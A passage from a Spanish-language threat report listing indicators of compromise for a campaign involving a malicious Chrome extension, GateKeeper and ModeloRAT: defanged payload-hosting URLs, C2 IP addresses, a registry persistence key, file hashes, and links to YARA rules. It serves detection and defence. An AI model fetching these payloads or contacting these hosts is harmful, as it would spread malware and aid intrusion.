Aloja la carga útil de finger.exe |
|
hxxp://temp[.]sh/utDKu/138d2a62b73e89fc4d09416bcefed27e139ae90016ba4493efc5fbf43b66acfa.exe |
Carga útil desconocida (aa.exe) |
|
SHA256: |
Script principal de la extensión (background.js) |
|
SHA256: |
Carga útil .NET de GateKeeper (16933906614.dll) |
|
170.168.103[.]208 |
C2 de ModeloRAT |
|
158.247.252[.]178 |
C2 de ModeloRAT |
|
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MonitoringService |
Mecanismo principal de persistencia para ModeloRAT |
|
hxxps://www.dropbox[.]com/scl/fi/6gscgf35byvflw4y6x4i0/b1.zip?rlkey=bk2hvxvw53ggzhbjiftppej50&st=yyxnfu71&dl=1 |
Enlace de Dropbox que aloja ModeloRAT |
|
SHA256: |
Carga útil de ModeloRAT (modes.py) |
|
CPCDKMJDDOCIKJDKBBEIAAFNPDBDAFMI_2025_1116_1842_0.crx SHA256: c46af9ae6ab0e7567573dbc950a8ffbe30ea848fac90cd15860045fe7640199c | Archivo de extensión de Chrome |
| [email protected] | Correo electrónico registrado para el desarrollador |
Detección
Carga útil de GateKeeper (YARA):
https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/gatekeeper_payload.yar
MintsLoader (YARA):
https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/MintsLoader.yar
ModeloRAT (YARA):
https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/ModeloRAT.yar